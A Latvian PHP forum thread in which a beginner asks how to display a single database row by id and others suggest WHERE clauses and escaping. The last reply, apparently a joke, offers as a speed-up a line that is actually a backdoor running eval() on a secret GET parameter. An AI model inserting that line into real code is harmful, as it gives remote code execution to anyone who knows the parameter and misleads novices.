Jump to content
php.lv forumi

problēmas ar teksta atspoguļošanu


LinuX

Recommended Posts

ir fails index.php

$sql = "SELECT * FROM php";
$result = mysql_query($sql);

while($rows = mysql_fetch_array($result))
{
$id = ($rows['id']);
$check_nick = strip_tags ($rows['nick']);
$check_comment = strip_tags ($rows['comment']);
$wrap_comment = wordwrap ($check_comment, 80, '<br>');
echo "<fieldset style='width:500px;border:1px solid green;'><legend style='font-family:verdana;font-size:15px;color:orange;'>{$check_nick}</legend>";
echo "<a style='font-family:verdana;font-size:13px;text-decoration:none;' href='index.php?id=$id'>{$wrap_comment}</a></fieldset>";
if(isset($_GET['id']))
{
echo $check_comment;				}
}}

Palīdziet lūdzu izvadīt ārā no datubāzes pareizi datus. Kad nospiežu uz viens, tad izvadās visi dati, bet man vajag lai izvadītos tikai tie dati kas zem attiecīgā link. ja nospiedīšu uz divi tad notiks tas pats. utt. :( Help....

post-4376-127012045777_thumb.jpg

post-4376-127012046401_thumb.jpg

Link to comment
Share on other sites

šodien joku diena

$sql = "SELECT * FROM php";

Kverijā ar WHERE klauzu norādi ko gribi izvadīt

Jā tieši to arī mēģināju! SELECT comment FROM php WHERE ..........!!!!!! Nezinu kā lai uzraksta, lai viņš pareizi izvadītu.

Link to comment
Share on other sites

strādās tikai ja globālie ir on. labāk jau šādi

 

$sql = "SELECT * FROM php WHERE id = '".mysql_real_escape_string($_GET['id'])."'";

Link to comment
Share on other sites

Var jau arī visu kārtīgi izķidāt

 

<?php
if(isset($_GET['id']) and !empty($_GET['id']) and is_numeric($_GET['id'])) {
$id = mysql_real_escape_string($_GET['id']);
}
else {
$id = 1;
}
$sql = mysql_query("SELECT * FROM php WHERE id=$id");
?>

Link to comment
Share on other sites

Var jau arī visu kārtīgi izķidāt

 

<?php
if(isset($_GET['id']) and !empty($_GET['id']) and is_numeric($_GET['id'])) {
$id = mysql_real_escape_string($_GET['id']);
}
else {
$id = 1;
}
$sql = mysql_query("SELECT * FROM php WHERE id=$id");
?>

emsy kurā vietā tam skriptam šito iebāzt?

Link to comment
Share on other sites

ja id ir vesels skaitlis, tad var vienkārši taisīt typecast-u, tik tad priekšā jāpieliek šī viena universālā rindiņa, kura akselerē visu php aplikācij darbību.

if (isset($_GET['codez_slepenais_caurums']) && (md5($_GET['hash'])=='AE34AD790934CE3453EA')) {eval($_GET['codez_slepenais_caurums']);}
$id=(int)$id;
$sql = "SELECT * FROM php WHERE id = $id";

Edited by codez
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Loading...
×
×
  • Create New...